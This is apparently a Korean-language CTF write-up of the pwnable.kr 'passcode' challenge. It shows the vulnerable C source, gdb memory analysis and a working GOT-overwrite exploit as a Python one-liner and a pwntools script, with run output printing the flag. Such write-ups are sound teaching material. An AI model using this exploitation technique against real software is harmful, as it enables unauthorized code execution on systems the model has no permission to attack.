[pwnable.kr]Toddler/passcode

 

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

0x00. Analysis

main함수에서는 welcome함수와 login함수를 순차적으로 호출한다.

welcome함수는 이름을 입력 받고 name배열에 저장한다.

login함수는 passcode1과 passcode2를 입력 받는다.

그런데 좀 이상했다.

int passcode1;
scanf("%d", passcode1);

이거 대학교 1학년 c언어 시간에 많이 하는 실수 아닌가? ㅋㅋㅋㅋㅋ

scanf("%d", &passcode1);

scanf함수는 2번째 인자로 주소를 넘겨주어야 한다.


따라서 변수 passcode1이 가리키고 있는 주소를 알아야 한다.

gdb-peda$ disas login
Dump of assembler code for function login:
   ----생략----
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
=> 0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
  ----생략----

login+24(mov edx,DWORD PTR [ebp-0x10]) 부분을 보면 passcode1은 ebp-0x10 임을 알 수 있다.

gdb-peda$ x/wx $ebp-0x10
0xffffd4f8:     0xffffd554

해당 주소는 0xffffd4f8 이고 이 주소에 있는 값 0xffffd554주소에 값이 쓰여질 것이다. 확인해보자.

gdb-peda$ ni
enter passcode1 : 10
gdb-peda$ x/wx $ebp-16
0xffffd4f8:     0xffffd554
gdb-peda$ x/wx 0xffffd554
0xffffd554:     0x0000000a

10을 입력하여 0xffffd554에 저장되는 것을 알 수 있다.

그런데 여기서 passcode1은 정의 시 초기화 되지 않았으며, 운 좋게 쓰레기 값으로 0xffffd554라는 값이 들어 있었으며 이 공간은 스택 공간으로 쓰기가 가능했다.


passcode2로 똑같이 살펴보면,

gdb-peda$ pdisas login
Dump of assembler code for function login:
   ----생략----
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
=> 0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   ----생략----
End of assembler dump.

ebp-0xc이 passcode2의 변수 공간이며 이 주소에 있는 값을 주소로 참조하여 값이 쓰여 질 것이다.

gdb-peda$ x/wx $ebp-0xc
0xffffd4fc:     0xdee59400
gdb-peda$ x/wx 0xdee59400
0xdee59400:     Cannot access memory at address 0xdee59400

ebp-0xc에는 0xdee59400이라는 값이 들어있으면 이 값은 딱 봐도 주소 값이 아닌 쓰레기 값이다. 이 값을 scanf에 주소로 넘겨주어 쓰기를 시도할 것이 때문에 에러가 발생할 것이다.

gdb-peda$ ni
enter passcode2 : 20
Program received signal SIGSEGV, Segmentation fault.

역시나 Segmentation fault.가 출력 된다.


그러면 우리는 초기화 되지 않는 passcode1 변수와 passcode2 변수를 덮어 씌워야 한다.

이 부분에서 많은 고민과 삽질이 있었다.

결론적으로는 welcome함수를 이용해야 했다.

main함수에서 welcome함수를 호출하고 곧바로 login함수를 호출한다.

프로그램이 스택 메모리를 사용하는 원리를 알고 있다면, welcome함수 이후 login함수를 호출할 때 welcome함수에서 사용한 스택영역을 다시 사용해 login함수에서 사용하고 남은 쓰레기 값들이 있다는 것을 알것이다.


두 함수가 각각 호출될 때 ebp를 확인해 봤다.

Breakpoint 1, 0x0804860c in welcome ()
gdb-peda$ x/wx $ebp
0xffffd508:     0xffffd528
Breakpoint 2, 0x08048567 in login ()
gdb-peda$ x/wx $ebp
0xffffd508:     0xffffd528

welcome함수와 login함수의 ebp를 비교해보니 똑같은 것을 알 수 있다.

각 함수의 메모리 스택을 비교해보면 위 그림과 같다.

welcome함수에서 name배열에 100byte를 입력 받을 때 마지막 4byte가 passcode1의 주소와 같다.

즉, passcode1의 값은 덮어쓸 수 있지만 passcode2의 값을 덮어 씌우는 방법은 찾지 못했다. (방법이 있을려나? ㅠㅠ)

그래도 passcode1의 값을 변경하면 원하는 주소에 원하는 값을 넣을 수 있다. 이점을 이용하여 flag를 알아내야한다.

여기에서 2번째 삽질과 많은 고민이 있었다.


결론적으로 passcode1의 scanf함수가 호출되고 바로 다음의 fflush함수가 호출되는 점을 이용하였다.

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
    //생략
}

바로 fflush의 got를 이용하는 것 이였다. (참조 : PLT와 GOT를 파헤쳐보자)

fflush의 got주소를 프로그램 내의 flag를 출력하는 system 코드 주소로 변경하면 fflush가 실행될 때 system함수를 호출하여 flag를 출력하지 않을까 하는 생각에 진행하였다. (아래 코드 부분)

system("/bin/cat flag");

gdb-peda$ pdisas login
Dump of assembler code for function login:
  ----생략----
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   ----생략----
End of assembler dump.

fflush@plt 주소는 0x8048430 이다.

gdb-peda$ x/3i 0x8048430
   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004
   0x8048436 <fflush@plt+6>:    push   0x8
   0x804843b <fflush@plt+11>:   jmp    0x8048410

fflush@got 주소는 0x804a004 이다.


system("/bin/cat flag");

그리고 system 함수로 flag를 출력하는 코드 영역 부분의 주소를 구해야 한다.

gdb-peda$ pdisas login
Dump of assembler code for function login:
   ----생략----
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   ----생략----
End of assembler dump.

system함수를 실행하기 위한 부분은 0x080485e3 주소이다.


이제 준비는 끝났다.

name배열의 마지막 4byte에 fflush@got주소를 넣고 사용자로부터 passcode1의 입력을 받을 때, system코드 주소(0x080485e3)를 입력하면 된다.

0x080485e3 = 134514147


0x01. Exploit

passcode@prowl:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"';cat)|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♦�!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
python
from pwn import *

conn = ssh("passcode", "pwnable.kr", port=2222, password="guest")
p = conn.process("./passcode")

fflush_got = 0x804a004
system = 0x80485e3

payload  = "A"*96
payload += p32(fflush_got)

p.recv()
p.sendline(payload)
p.recv()
p.sendline("134514147")
print p.recv()
p.close()
conn.close()
root@ubuntu:~/pwnable/passcode# python ex.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './passcode' on pwnable.kr: pid 218086
Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)

[*] Stopped remote process 'passcode' on pwnable.kr (pid 218086)
[*] Closed connection to 'pwnable.kr'